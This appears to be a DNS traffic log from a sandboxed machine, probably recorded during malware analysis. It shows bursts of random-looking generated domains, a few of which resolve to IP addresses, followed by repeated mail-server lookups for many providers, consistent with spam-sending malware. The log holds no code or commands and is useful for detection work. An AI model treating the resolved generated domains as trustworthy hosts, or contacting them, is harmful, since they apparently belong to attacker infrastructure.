Oct 31, 2022 12:19:37.923422098 CET	8.8.8.8	192.168.2.5	0xe4c4	Name error (3)	nnhhneqnrh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:37.955621004 CET	8.8.8.8	192.168.2.5	0xdadb	Name error (3)	saanqmaqpn.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.037861109 CET	8.8.8.8	192.168.2.5	0xf97b	Name error (3)	armahmrsaa.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.067599058 CET	8.8.8.8	192.168.2.5	0xc436	Name error (3)	wqahhaqenh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.113594055 CET	8.8.8.8	192.168.2.5	0xc9c4	No error (0)	aharwhphnh.com		81.17.18.196	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.187989950 CET	8.8.8.8	192.168.2.5	0xc986	Name error (3)	mnrepmepar.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.217148066 CET	8.8.8.8	192.168.2.5	0x301b	Name error (3)	apqhwmnqrh.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.246988058 CET	8.8.8.8	192.168.2.5	0xa6b7	Name error (3)	mehsnsamha.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.279558897 CET	8.8.8.8	192.168.2.5	0x5232	Name error (3)	qqpqwehwah.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.306569099 CET	8.8.8.8	192.168.2.5	0x657c	Name error (3)	sqmswpnqws.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.352333069 CET	8.8.8.8	192.168.2.5	0x344d	Name error (3)	pqarnhhhhn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.384635925 CET	8.8.8.8	192.168.2.5	0x189c	Name error (3)	hqepnmqewn.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.431441069 CET	8.8.8.8	192.168.2.5	0xe462	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.435220957 CET	8.8.8.8	192.168.2.5	0xb9b1	No error (0)	rsrsemnren.org		81.17.29.146	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.515039921 CET	8.8.8.8	192.168.2.5	0xddee	Name error (3)	spewqmspma.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.573239088 CET	8.8.8.8	192.168.2.5	0x8deb	Name error (3)	rahhhqwqqa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:38.602130890 CET	8.8.8.8	192.168.2.5	0x16cf	No error (0)	empewsqsqa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.046132088 CET	8.8.8.8	192.168.2.5	0xd589	Name error (3)	pmnrrneaah.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.076723099 CET	8.8.8.8	192.168.2.5	0x1b08	Name error (3)	mnwsnarssr.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.172972918 CET	8.8.8.8	192.168.2.5	0x82ce	Name error (3)	rrpnmeawrs.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.228283882 CET	8.8.8.8	192.168.2.5	0xbae9	Name error (3)	sermsqqqna.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.301578999 CET	8.8.8.8	192.168.2.5	0xeea2	Name error (3)	rsqsepmwas.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.351044893 CET	8.8.8.8	192.168.2.5	0xe41	Name error (3)	mqpppnhaes.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.385891914 CET	8.8.8.8	192.168.2.5	0x9a17	Name error (3)	aqmrnawpan.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.485641956 CET	8.8.8.8	192.168.2.5	0x453	Name error (3)	wrnwernreh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.684423923 CET	8.8.8.8	192.168.2.5	0x43fc	Name error (3)	aeaqmpsaqa.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.787837982 CET	8.8.8.8	192.168.2.5	0x6f5c	Name error (3)	whwsqnemsn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.847800970 CET	8.8.8.8	192.168.2.5	0xab7c	Name error (3)	rqeaqeewas.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:39.885195971 CET	8.8.8.8	192.168.2.5	0x4e6	Name error (3)	wqpaamhwrs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:40.000999928 CET	8.8.8.8	192.168.2.5	0xea5c	No error (0)	reaaheeara.org		199.59.243.222	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:40.555095911 CET	8.8.8.8	192.168.2.5	0x2241	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:42.924741030 CET	8.8.8.8	192.168.2.5	0x8828	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:43.835032940 CET	8.8.8.8	192.168.2.5	0x8828	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.479281902 CET	8.8.8.8	192.168.2.5	0xdc0d	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.507427931 CET	8.8.8.8	192.168.2.5	0xe17a	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.537156105 CET	8.8.8.8	192.168.2.5	0x6ead	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:44.539751053 CET	8.8.8.8	192.168.2.5	0x70ad	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:44.539751053 CET	8.8.8.8	192.168.2.5	0x70ad	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:44.652318001 CET	8.8.8.8	192.168.2.5	0xd2e5	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.770256042 CET	8.8.8.8	192.168.2.5	0xc570	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:45.445990086 CET	8.8.8.8	192.168.2.5	0x49fd	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:45.879939079 CET	8.8.8.8	192.168.2.5	0x8828	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:46.183161020 CET	8.8.8.8	192.168.2.5	0x67af	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:46.738297939 CET	8.8.8.8	192.168.2.5	0xc19d	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.685723066 CET	8.8.8.8	192.168.2.5	0x7f86	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.685723066 CET	8.8.8.8	192.168.2.5	0x7f86	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.685723066 CET	8.8.8.8	192.168.2.5	0x7f86	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.685723066 CET	8.8.8.8	192.168.2.5	0x7f86	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.685723066 CET	8.8.8.8	192.168.2.5	0x7f86	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.716932058 CET	8.8.8.8	192.168.2.5	0xd14	No error (0)	aspmx3.googlemail.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.727628946 CET	8.8.8.8	192.168.2.5	0xcce2	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.744666100 CET	8.8.8.8	192.168.2.5	0x29b3	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.744666100 CET	8.8.8.8	192.168.2.5	0x29b3	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.744666100 CET	8.8.8.8	192.168.2.5	0x29b3	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.744666100 CET	8.8.8.8	192.168.2.5	0x29b3	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.744666100 CET	8.8.8.8	192.168.2.5	0x29b3	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.749305964 CET	8.8.8.8	192.168.2.5	0x640d	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.769282103 CET	8.8.8.8	192.168.2.5	0x952f	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.794258118 CET	8.8.8.8	192.168.2.5	0x3316	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.819308043 CET	8.8.8.8	192.168.2.5	0xc00	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:50.993474960 CET	8.8.8.8	192.168.2.5	0x3dc9	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.535466909 CET	8.8.8.8	192.168.2.5	0x54fe	No error (0)	aspmx2.googlemail.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.842622995 CET	8.8.8.8	192.168.2.5	0xdeb	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.842622995 CET	8.8.8.8	192.168.2.5	0xdeb	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.842622995 CET	8.8.8.8	192.168.2.5	0xdeb	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.842622995 CET	8.8.8.8	192.168.2.5	0xdeb	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.842622995 CET	8.8.8.8	192.168.2.5	0xdeb	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.875047922 CET	8.8.8.8	192.168.2.5	0x5a6d	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.141.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.890984058 CET	8.8.8.8	192.168.2.5	0x15a3	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.959621906 CET	8.8.8.8	192.168.2.5	0x4ac7	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.959621906 CET	8.8.8.8	192.168.2.5	0x4ac7	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:53.107919931 CET	8.8.8.8	192.168.2.5	0x14a1	No error (0)	alt2.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:53.611668110 CET	8.8.8.8	192.168.2.5	0x1996	No error (0)	aspmx.l.google.com		64.233.167.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:54.086199999 CET	8.8.8.8	192.168.2.5	0xa8b1	No error (0)	alt1.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:54.638484955 CET	8.8.8.8	192.168.2.5	0x58b8	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:54.702044010 CET	8.8.8.8	192.168.2.5	0xf1a4	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:55.366843939 CET	8.8.8.8	192.168.2.5	0x1a09	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:55.395334005 CET	8.8.8.8	192.168.2.5	0x5eeb	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:56.412231922 CET	8.8.8.8	192.168.2.5	0x5eeb	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:56.610542059 CET	8.8.8.8	192.168.2.5	0x71b1	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:57.358171940 CET	8.8.8.8	192.168.2.5	0x5eeb	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:57.411168098 CET	8.8.8.8	192.168.2.5	0xc93e	No error (0)	alt3.gmail-smtp-in.l.google.com		173.194.202.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.055155039 CET	8.8.8.8	192.168.2.5	0x1f38	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.141027927 CET	8.8.8.8	192.168.2.5	0x27de	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.235315084 CET	8.8.8.8	192.168.2.5	0xc4cf	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.235315084 CET	8.8.8.8	192.168.2.5	0xc4cf	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.265645027 CET	8.8.8.8	192.168.2.5	0x61f	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.265645027 CET	8.8.8.8	192.168.2.5	0x61f	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.265645027 CET	8.8.8.8	192.168.2.5	0x61f	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.265645027 CET	8.8.8.8	192.168.2.5	0x61f	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.265645027 CET	8.8.8.8	192.168.2.5	0x61f	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.301922083 CET	8.8.8.8	192.168.2.5	0x6cd5	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.340713024 CET	8.8.8.8	192.168.2.5	0xe20f	No error (0)	alt1.aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.254167080 CET	8.8.8.8	192.168.2.5	0x44b2	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.258560896 CET	8.8.8.8	192.168.2.5	0xbaec	Name error (3)	mnaahmqpqs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.260026932 CET	8.8.8.8	192.168.2.5	0x5a9b	No error (0)	aspmx3.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.313827038 CET	8.8.8.8	192.168.2.5	0xd0ff	No error (0)	rrhaerswna.org		199.59.243.222	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.212392092 CET	8.8.8.8	192.168.2.5	0x480b	No error (0)	aspmx.l.google.com		142.251.5.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.317362070 CET	8.8.8.8	192.168.2.5	0x8505	No error (0)	gmail-smtp-in.l.google.com		74.125.140.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.456481934 CET	8.8.8.8	192.168.2.5	0x1ddb	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.756500959 CET	8.8.8.8	192.168.2.5	0x69a8	No error (0)	alt2.aspmx.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.877537012 CET	8.8.8.8	192.168.2.5	0x492	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:02.265939951 CET	8.8.8.8	192.168.2.5	0xc61	No error (0)	aspmx2.googlemail.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.390492916 CET	8.8.8.8	192.168.2.5	0x1f44	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.390492916 CET	8.8.8.8	192.168.2.5	0x1f44	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.390492916 CET	8.8.8.8	192.168.2.5	0x1f44	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.390492916 CET	8.8.8.8	192.168.2.5	0x1f44	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.390492916 CET	8.8.8.8	192.168.2.5	0x1f44	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.421883106 CET	8.8.8.8	192.168.2.5	0xaaa9	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.512106895 CET	8.8.8.8	192.168.2.5	0x8ce7	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.512106895 CET	8.8.8.8	192.168.2.5	0x8ce7	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.512106895 CET	8.8.8.8	192.168.2.5	0x8ce7	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.512106895 CET	8.8.8.8	192.168.2.5	0x8ce7	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.512106895 CET	8.8.8.8	192.168.2.5	0x8ce7	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.527440071 CET	8.8.8.8	192.168.2.5	0xcccd	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.544365883 CET	8.8.8.8	192.168.2.5	0xe9e6	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.544835091 CET	8.8.8.8	192.168.2.5	0xb154	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.551239967 CET	8.8.8.8	192.168.2.5	0xf1d7	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.571041107 CET	8.8.8.8	192.168.2.5	0x1f6d	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.571041107 CET	8.8.8.8	192.168.2.5	0x1f6d	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:04.764575005 CET	8.8.8.8	192.168.2.5	0x1911	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:08.428462982 CET	8.8.8.8	192.168.2.5	0x3600	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:08.734817028 CET	8.8.8.8	192.168.2.5	0x67c4	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.768260002 CET	8.8.8.8	192.168.2.5	0x716a	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:08.928504944 CET	8.8.8.8	192.168.2.5	0x9500	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.933067083 CET	8.8.8.8	192.168.2.5	0xa10b	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.951076984 CET	8.8.8.8	192.168.2.5	0x792f	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.088751078 CET	8.8.8.8	192.168.2.5	0xd2b9	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.088751078 CET	8.8.8.8	192.168.2.5	0xd2b9	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.103646994 CET	8.8.8.8	192.168.2.5	0xa3c	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.138144016 CET	8.8.8.8	192.168.2.5	0xf97a	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.987677097 CET	8.8.8.8	192.168.2.5	0xb50	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.141.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:10.023546934 CET	8.8.8.8	192.168.2.5	0x4003	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:10.292830944 CET	8.8.8.8	192.168.2.5	0xeb10	No error (0)	gmail-smtp-in.l.google.com		74.125.140.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:10.924149990 CET	8.8.8.8	192.168.2.5	0xb702	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:11.025542021 CET	8.8.8.8	192.168.2.5	0x4003	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:12.057562113 CET	8.8.8.8	192.168.2.5	0x4003	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:12.085002899 CET	8.8.8.8	192.168.2.5	0x52ec	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:12.906029940 CET	8.8.8.8	192.168.2.5	0x225	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:12.933804035 CET	8.8.8.8	192.168.2.5	0x64b5	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.027805090 CET	8.8.8.8	192.168.2.5	0x5101	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.027805090 CET	8.8.8.8	192.168.2.5	0x5101	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.027805090 CET	8.8.8.8	192.168.2.5	0x5101	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.027805090 CET	8.8.8.8	192.168.2.5	0x5101	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.027805090 CET	8.8.8.8	192.168.2.5	0x5101	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.038321018 CET	8.8.8.8	192.168.2.5	0xde51	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.038321018 CET	8.8.8.8	192.168.2.5	0xde51	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.038321018 CET	8.8.8.8	192.168.2.5	0xde51	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.038321018 CET	8.8.8.8	192.168.2.5	0xde51	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.038321018 CET	8.8.8.8	192.168.2.5	0xde51	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.060771942 CET	8.8.8.8	192.168.2.5	0xc282	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.064301014 CET	8.8.8.8	192.168.2.5	0xc65	No error (0)	alt2.aspmx.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.095336914 CET	8.8.8.8	192.168.2.5	0x96b3	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.120465994 CET	8.8.8.8	192.168.2.5	0xdf25	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.797674894 CET	8.8.8.8	192.168.2.5	0x1250	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:14.304308891 CET	8.8.8.8	192.168.2.5	0x2eac	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:14.837264061 CET	8.8.8.8	192.168.2.5	0x369b	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:16.974607944 CET	8.8.8.8	192.168.2.5	0x26bf	No error (0)	aspmx2.googlemail.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:17.192630053 CET	8.8.8.8	192.168.2.5	0xba68	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.192630053 CET	8.8.8.8	192.168.2.5	0xba68	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.192630053 CET	8.8.8.8	192.168.2.5	0xba68	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.192630053 CET	8.8.8.8	192.168.2.5	0xba68	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.192630053 CET	8.8.8.8	192.168.2.5	0xba68	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.269052982 CET	8.8.8.8	192.168.2.5	0xdf27	No error (0)	gmail-smtp-in.l.google.com		74.125.140.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:17.305959940 CET	8.8.8.8	192.168.2.5	0x1d82	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.414840937 CET	8.8.8.8	192.168.2.5	0x3c7	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:17.414840937 CET	8.8.8.8	192.168.2.5	0x3c7	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:18.178212881 CET	8.8.8.8	192.168.2.5	0x5115	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:18.182599068 CET	8.8.8.8	192.168.2.5	0x3e70	No error (0)	aspmx3.googlemail.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:19.727583885 CET	8.8.8.8	192.168.2.5	0xb177	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:19.933273077 CET	8.8.8.8	192.168.2.5	0xc59a	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:19.977297068 CET	8.8.8.8	192.168.2.5	0x64eb	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.078274012 CET	8.8.8.8	192.168.2.5	0x86b4	No error (0)	aspmx.l.google.com		173.194.76.27	A (IP address)	IN (0x0001)	false
